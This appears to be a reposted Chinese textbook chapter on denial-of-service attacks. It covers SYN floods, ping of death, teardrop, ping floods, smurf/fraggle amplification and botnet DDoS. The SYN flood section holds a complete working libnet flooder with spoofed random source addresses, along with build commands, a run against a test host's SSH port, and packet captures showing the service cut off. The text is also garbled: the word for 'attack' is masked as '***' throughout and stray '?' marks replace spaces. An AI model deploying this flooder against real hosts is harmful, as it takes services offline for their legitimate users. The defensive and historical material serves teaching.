从程序详解拒绝服务***
從程序詳解拒絕服務(wù)***
拒絕服務(wù)(Denial of Service,? DoS)***是最簡單的網(wǎng)絡(luò)***形式之一,它只阻止對(duì)服務(wù)或資源的訪問,而不是試圖竊取信息。DoS***有兩種常見的形式:使服務(wù)崩潰和泛洪服務(wù)。相比基于網(wǎng)絡(luò)的利用而言,使服務(wù)崩潰的拒絕服務(wù)***實(shí)際上更類似于程序利用。通常這些***依賴于特定供應(yīng)商提供的拙劣實(shí)現(xiàn)。緩沖區(qū)溢出漏洞通常會(huì)使目標(biāo)程序崩潰,而不是將執(zhí)行流程轉(zhuǎn)向注入的shellcode。如果該程序恰好在服務(wù)器上,那么在服務(wù)器崩潰之后任何人將不能訪問它。類似的崩潰式DoS***緊緊依賴于特定程序和特定版本。因?yàn)椴僮飨到y(tǒng)負(fù)責(zé)處理網(wǎng)絡(luò)堆棧,代碼的崩潰會(huì)卸下內(nèi)核程序,拒絕為整個(gè)機(jī)器提供服務(wù)。在現(xiàn)代操作系統(tǒng)中,許多這樣的漏洞在很久以前就已經(jīng)得到修補(bǔ),但考慮這些技術(shù)如何應(yīng)用于不同的情形仍是有用的。
1.SYN泛洪(Flooding)
SYN泛洪會(huì)耗盡TCP/IP堆棧,而不是耗盡網(wǎng)絡(luò)帶寬。因?yàn)門CP保持“可靠的”連接,所以需要在某處對(duì)每個(gè)連接進(jìn)行跟蹤。內(nèi)核程序中的TCP/IP堆棧對(duì)此進(jìn)行處理,但堆棧表有限,所以它只能跟蹤若干個(gè)傳入的連多。SYN泛洪***使用欺騙來利用這種限制。
***者使用一個(gè)偽造的不存在的源地址,用許多SYN數(shù)據(jù)包泛洪受害者的系統(tǒng)。因?yàn)镾YN數(shù)據(jù)包用來打開一個(gè)TCP連接,所以受害者的機(jī)器會(huì)向偽造的地址發(fā)送一個(gè)SYN/ACK數(shù)據(jù)包作為響應(yīng),并等待預(yù)期的ACK響應(yīng)。每個(gè)這種處于等待狀態(tài)、半開的連接都進(jìn)入空間有限的待處理隊(duì)列。因?yàn)閭卧斓脑吹刂穼?shí)際上并不存在,所以將那些待處理隊(duì)列中的記錄刪除并完成連接所需的ACK響應(yīng)永遠(yuǎn)不會(huì)到來。相反,每個(gè)半開連接一定超時(shí),這將花費(fèi)一段比較長的時(shí)間。只要***者使用偽造的SYN數(shù)據(jù)包繼續(xù)泛洪受害者的系統(tǒng),受害者的待處理隊(duì)列將一直保持滿員,這使得真正的SYN數(shù)據(jù)包幾乎不可能到達(dá)系統(tǒng)并打開有效的TCP/IP連接。利用nemesis和arpspoof的源代碼作為參考,您應(yīng)當(dāng)能夠編寫出完成這種***的程序。下面的例子程序使用了libnet函數(shù),它是從我們先前解釋過的源代碼和套接字函數(shù)中提取出來的。Nemesis的源代碼使用函數(shù)libnet_get_prand()獲得用于各個(gè)IP域的偽隨機(jī)數(shù)。函數(shù)libnet_see_prand()用來產(chǎn)生隨機(jī)程序的種子數(shù)。在下面的程序中,同樣使用了這些函數(shù)。
Synflood.c
#include <libnet.h>
#define FLOOD_DELAY 5000 // Delay between packet injects by 5000 ms.
/* Returns an IP in x.x.x.x notation */
char *print_ip(u_long *ip_addr_ptr) {
?? return inet_ntoa( *((struct in_addr *)ip_addr_ptr) );
}
int main(int argc, char *argv[]) {
?? u_long dest_ip;
?? u_short dest_port;
?? u_char errbuf[LIBNET_ERRBUF_SIZE], *packet;
?? int opt, network, byte_count, packet_size = LIBNET_IP_H + LIBNET_TCP_H;
?? if(argc < 3)
?? {
????? printf("Usage:\n%s\t <target host> <target port>\n", argv[0]);
????? exit(1);
?? }
?? dest_ip = libnet_name_resolve(argv[1], LIBNET_RESOLVE); // The host
?? dest_port = (u_short) atoi(argv[2]); // The port
?? network = libnet_open_raw_sock(IPPROTO_RAW); // Open network interface.
?? if (network == -1)
????? libnet_error(LIBNET_ERR_FATAL, "can't open network interface.? -- this program
?must run
as root.\n");
?? libnet_init_packet(packet_size, &packet); // Allocate memory for packet.
?? if (packet == NULL)
????? libnet_error(LIBNET_ERR_FATAL, "can't initialize packet memory.\n");
?? libnet_seed_prand(); // Seed the random number generator.
?? printf("SYN Flooding port %d of %s..\n", dest_port, print_ip(&dest_ip));
?? while(1) // loop forever (until break by CTRL-C)
?? {
????? libnet_build_ip(LIBNET_TCP_H,????? // Size of the packet sans IP header.
???????? IPTOS_LOWDELAY,???????????????? // IP tos
???????? libnet_get_prand(LIBNET_PRu16), // IP ID (randomized)
???????? 0,????????????????????????????? // Frag stuff
???????? libnet_get_prand(LIBNET_PR8),?? // TTL (randomized)
???????? IPPROTO_TCP,??????????????????? // Transport protocol
???????? libnet_get_prand(LIBNET_PRu32), // Source IP (randomized)
???????? dest_ip,??????????????????????? // Destination IP
???????? NULL,?????????????????????????? // Payload (none)
???????? 0,????????????????????????????? // Payload length
???????? packet);??????????????????????? // Packet header memory
????? libnet_build_tcp(libnet_get_prand(LIBNET_PRu16), // Source TCP port (random)
???????? dest_port,????????????????????? // Destination TCP port
???????? libnet_get_prand(LIBNET_PRu32), // Sequence number (randomized)
???????? libnet_get_prand(LIBNET_PRu32), // Acknowledgement number (randomized)
???????? TH_SYN,???????????????????????? // Control flags (SYN flag set only)
???????? libnet_get_prand(LIBNET_PRu16), // Window size (randomized)
???????? 0,????????????????????????????? // Urgent pointer
???????? NULL,?????????????????????????? // Payload (none)
???????? 0,????????????????????????????? // Payload length
???????? packet + LIBNET_IP_H);????????? // Packet header memory
????? if (libnet_do_checksum(packet, IPPROTO_TCP, LIBNET_TCP_H) == -1)
???????? libnet_error(LIBNET_ERR_FATAL, "can't compute checksum\n");
????? byte_count = libnet_write_ip(network, packet, packet_size); // Inject packet.
????? if (byte_count < packet_size)
???????? libnet_error(LIBNET_ERR_WARNING, "Warning: Incomplete packet written.? (%d of %d
bytes)", byte_count, packet_size);
????? usleep(FLOOD_DELAY); // Wait for FLOOD_DELAY milliseconds.
?? }
?? libnet_destroy_packet(&packet); // Free packet memory.
?? if (libnet_close_raw_sock(network) == -1) // Close the network interface.
????? libnet_error(LIBNET_ERR_WARNING, "can't close network interface.");
?? return 0;
}
這個(gè)程序使用print_ip()函數(shù)將u_long類型(libnet使用這種數(shù)據(jù)類型存儲(chǔ)IP地址)轉(zhuǎn)換成inet_ntoa()期望的結(jié)構(gòu)類型。這個(gè)過程并不改變值——這種轉(zhuǎn)換只是為了滿足編譯程序的需要。
Libnet當(dāng)前的發(fā)行版本是1.1,它與libnet l.0不兼容。但是,nemesis和arpspoof仍依賴于libnet 1.O版,因此在LiveCD中提供的是1.0版libnet,而且在我們的synflood程序中也使用這個(gè)版本。與使用libpcap時(shí)的編譯相似,使用libnet編譯時(shí),需要使用-lnet標(biāo)記。但是,對(duì)于編譯程序來說這些信息還不夠,如下面的輸出所示。
lcg@linux:~/src $ gcc -o synflood synflood.c -lnet
In file included from synflood.c:1:
/usr/include/libnet.h:87:2: #error "byte order has not been specified, you'll"
synflood.c:6: error: syntax error before string constant
lcg@linux:~/src $
編譯程序仍會(huì)失敗,因?yàn)樾枰獮閘ibnet設(shè)置若干個(gè)強(qiáng)制性定義標(biāo)記。Libnet中包含的一個(gè)名為libnet-config的程序能輸出這些標(biāo)記。
lcg@linux:~/src $ libnet-config --help
Usage: libnet-config [OPTIONS]
Options:
??????? [--libs]
??????? [--cflags]
??????? [--defines]
lcg@linux:~/src $ libnet-config --defines
-D_BSD_SOURCE -D__BSD_SOURCE -D__FAVOR_BSD -DHAVE_NET_ETHERNET_H
-DLIBNET_LIL_ENDIAN
通過對(duì)它們使用BASH shell的命令令替換,可以將這些定義動(dòng)態(tài)插入編譯命令今中。
lcg@linux:~/src $ gcc $(libnet-config --defines) -o synflood
synflood.c -lnet
lcg@linux:~/src $ ./synflood
Usage:
./synflood?????? <target host> <target port>
lcg@linux:~/src $
lcg@linux:~/src $ ./synflood 192.168.42.88 22
Fatal: can't open network interface.? -- this program must run as root.
lcg@linux:~/src $ sudo ./synflood 192.168.42.88 22
SYN Flooding port 22 of 192.168.42.88..
在上面的例子中,主機(jī)192.168.42.88是一個(gè)Windows XP機(jī)器,它借助cygwin在端口22上運(yùn)行著一個(gè)openssh服務(wù)器。下面的tcpdump輸出顯示了欺騙SYN數(shù)據(jù)包從貌似隨機(jī)的IP地址處泛洪了主機(jī)。程序運(yùn)行時(shí),合理的連接將不能連通這個(gè)端口。
lcg@linux:~/src $ sudo tcpdump -i eth0 -nl -c 15 "host 192.168.42.88"
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), capture size 96 bytes
17:08:16.334498 IP 121.213.150.59.4584 > 192.168.42.88.22: S
751659999:751659999(0) win 14609
17:08:16.346907 IP 158.78.184.110.40565 > 192.168.42.88.22: S
139725579:139725579(0) win 64357
17:08:16.358491 IP 53.245.19.50.36638 > 192.168.42.88.22: S
322318966:322318966(0) win 43747
17:08:16.370492 IP 91.109.238.11.4814 > 192.168.42.88.22: S
685911671:685911671(0) win 62957
17:08:16.382492 IP 52.132.214.97.45099 > 192.168.42.88.22: S
71363071:71363071(0) win 30490
17:08:16.394909 IP 120.112.199.34.19452 > 192.168.42.88.22: S
1420507902:1420507902(0) win 53397
17:08:16.406491 IP 60.9.221.120.21573 > 192.168.42.88.22: S
2144342837:2144342837(0) win 10594
17:08:16.418494 IP 137.101.201.0.54665 > 192.168.42.88.22: S
1185734766:1185734766(0) win 57243
17:08:16.430497 IP 188.5.248.61.8409 > 192.168.42.88.22: S
1825734966:1825734966(0) win 43454
17:08:16.442911 IP 44.71.67.65.60484 > 192.168.42.88.22: S
1042470133:1042470133(0) win 7087
17:08:16.454489 IP 218.66.249.126.27982 > 192.168.42.88.22: S
1767717206:1767717206(0) win 50156
17:08:16.466493 IP 131.238.172.7.15390 > 192.168.42.88.22: S
2127701542:2127701542(0) win 23682
17:08:16.478497 IP 130.246.104.88.48221 > 192.168.42.88.22: S
2069757602:2069757602(0) win 4767
17:08:16.490908 IP 140.187.48.68.9179 > 192.168.42.88.22: S
1429854465:1429854465(0) win 2092
17:08:16.502498 IP 33.172.101.123.44358 > 192.168.42.88.22: S
1524034954:1524034954(0) win 26970
15 packets captured
30 packets received by filter
0 packets dropped by kernel
lcg@linux:~/src $ ssh -v 192.168.42.88
OpenSSH_4.4p2, OpenSSL 0.9.8c 05 Sep 2006
debug1: Reading configuration data /etc/ssh/ssh_config
debug1: Connecting to 192.168.42.88 [192.168.42.88] port 22.
debug1: connect to address 192.168.42.88 port 22: Connection refused
ssh: connect to host 192.168.42.88 port 22: Connection refused
lcg@linux:~/src $
一些操作系統(tǒng)(例如Linux)設(shè)法使用一種稱為syncookies的技術(shù)阻止SYN泛洪***。TCP堆棧利用syncookies使用一個(gè)基于主機(jī)詳細(xì)信息和次數(shù)(以阻止重放***)的值為SYN/ACK數(shù)據(jù)包調(diào)整初始確認(rèn)號(hào)碼。
直到檢查完TCP握手的最后一個(gè)ACK包之后,TCP連接實(shí)際上才會(huì)被激活。如果序號(hào)不匹配或ACK沒有到達(dá),就決不會(huì)創(chuàng)建連接。這有助于阻止欺騙性連接,因?yàn)锳CK包要求向原始SYN包的源地址發(fā)送信息。
2. 死亡之ping
根據(jù)ICMP說明書,ICMP響應(yīng)消息數(shù)據(jù)包的數(shù)據(jù)部分只能是216,即65536個(gè)字節(jié)。ICMP數(shù)據(jù)包的數(shù)據(jù)部分通常被忽略,因?yàn)橹匾男畔陬^中。如果向某些操作系統(tǒng)發(fā)送超過規(guī)定大小的ICMP回送消息,系統(tǒng)將會(huì)崩潰。這個(gè)超大的ICMP回送消息被形象地稱為“死亡之ping (ping of Death)”。這是一種非常簡單的對(duì)已存在的弱點(diǎn)的***,因?yàn)閺膩頉]有人考慮過這種可能性。對(duì)您來說,利用libnet編寫一個(gè)完成這種***的程序應(yīng)當(dāng)很容易,但是,在現(xiàn)實(shí)世界它的用處不大。所有現(xiàn)代的系統(tǒng)都修補(bǔ)了這個(gè)漏洞。但是,歷史總會(huì)重演。盡管超大的ICMP數(shù)據(jù)包再也不會(huì)使計(jì)算機(jī)崩潰了,但新技術(shù)有時(shí)會(huì)受到類似問題的困擾。普遍應(yīng)用于電話的藍(lán)牙(Bluetooth)協(xié)議在L2CAP層上有一種類似的ping數(shù)據(jù)包,這個(gè)層也用于測(cè)量在已建立連接的通信線路上的通信時(shí)間。藍(lán)牙的許多實(shí)現(xiàn)都受到相同的超大ping數(shù)據(jù)包問題的困擾。Adam Laurie、Marcel Holtmann和Martin Herfurt將這種***命名為Bluesmack,并且以這個(gè)名稱發(fā)布了用于完成這種***的源代碼。
3.淚滴(Teardrop)
另一個(gè)源自相同原因的類似的崩潰式DoS***稱為淚滴(teardrop)***。淚滴利用了某些提供商實(shí)現(xiàn)IP片段重組時(shí)的弱點(diǎn)。通常數(shù)據(jù)包分段時(shí),存儲(chǔ)在頭中的偏移量將無重疊地排列以重建原始數(shù)據(jù)包。淚滴***發(fā)送具有重疊偏移量的數(shù)據(jù)包片段,這將造成對(duì)這種不規(guī)則條件不進(jìn)行檢查的實(shí)現(xiàn)不可避免地崩潰。
雖然這種特殊的***不再發(fā)揮作用了,但理解這個(gè)概念可以揭示其他領(lǐng)域內(nèi)的問題。雖然并非只局限于拒絕服務(wù),但一種最近在OpenBSD內(nèi)核(以其自身的安全性為榮)中的遠(yuǎn)程漏洞發(fā)掘與IPv6數(shù)據(jù)包碎片有關(guān)。IPv6使用更復(fù)雜的報(bào)頭,甚至使用了與大多數(shù)人熟悉的IPv4不同的IP地址格式。在新產(chǎn)品的早期實(shí)現(xiàn)中,會(huì)經(jīng)常重復(fù)過去所犯的相同錯(cuò)誤。
4. ping泛洪(Flooding)
泛洪Dos***并不試圖使服務(wù)或資源崩潰,而是使它過載從而使其不能響應(yīng)。類似的***可以占用其他資源,例如CPU周期和系統(tǒng)進(jìn)程,但泛洪***總是傾向于試圖占用網(wǎng)絡(luò)資源。
最簡單的泛洪***形式是ping泛洪,其目的是耗盡受害者的帶寬,以至于合法的流量不能通過。***者向受害者發(fā)送許多很大的ping數(shù)據(jù)包,消耗受害者網(wǎng)絡(luò)連接的帶寬。
這種***沒有什么過人之處——它只是一場(chǎng)帶寬的戰(zhàn)斗:比受害者擁有更大帶寬的***者能夠發(fā)送大小超過受害者可以接收的極限的數(shù)據(jù),并因此阻止其他合法流量到達(dá)受害者處。
5.放大***
實(shí)際上,有一些巧妙的實(shí)現(xiàn)ping泛洪的方式,它們不需要使用較大的帶寬。放大***利用欺騙和廣播尋址使單一的數(shù)據(jù)包流被成百倍地放大。首先,必須找到一個(gè)目標(biāo)放大系統(tǒng)。這應(yīng)當(dāng)是一個(gè)允許向廣播地址通信并且有較多活動(dòng)主機(jī)的網(wǎng)絡(luò)。然后,***者使用偽造的受害者系統(tǒng)的源地址向放大網(wǎng)絡(luò)的廣播地址發(fā)送大量的ICMP回送請(qǐng)求數(shù)據(jù)包。放大器會(huì)向放大網(wǎng)絡(luò)的所有主機(jī)廣播這些數(shù)據(jù)包,然后這些主機(jī)會(huì)向偽造的源地址(例如,向受害者的機(jī)器)發(fā)送相應(yīng)的ICMP回送應(yīng)答數(shù)據(jù)包,如圖所示。
流量放大允許***者發(fā)送相對(duì)較小的ICMP回送請(qǐng)求數(shù)據(jù)包流,而受害者會(huì)被成百倍的ICMP回送應(yīng)答數(shù)據(jù)包泛洪。可以使用ICMP數(shù)據(jù)包和UDP回送數(shù)據(jù)包實(shí)施該***。相應(yīng)技術(shù)分別稱為smurf***和fraggle***。
?
6.分布式DoS泛洪
分布式DoS (DDoS)***是泛洪DoS***的分布式版本。因?yàn)榉汉镈oS***的目的是消耗帶寬,***者占用的帶寬越大,他們可以造成的破壞就越大。在DDoS***中,***者首先與許多其他主機(jī)達(dá)成協(xié)議并在這些主機(jī)上安裝daemon軟件。安裝了這種軟件的系統(tǒng)通常被稱為僵尸(bot),這些系統(tǒng)構(gòu)成了所謂的僵尸網(wǎng)絡(luò)(botnet)。這些僵尸耐心地等待,知道***者挑中一個(gè)受害者并且決定發(fā)動(dòng)***。***者使用某些控制程序,并且所有僵尸同時(shí)使用某種泛洪DoS***向受害者發(fā)起進(jìn)攻。大量分散的主機(jī)不但增加了泛洪的效果,而且也使得對(duì)***源的跟蹤更加困難。
下回將講解Tcp/Ip劫持技術(shù)
總結(jié)
以上是生活随笔為你收集整理的从程序详解拒绝服务***的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 炒面用的是什么面?
- 下一篇: UIPopoverController的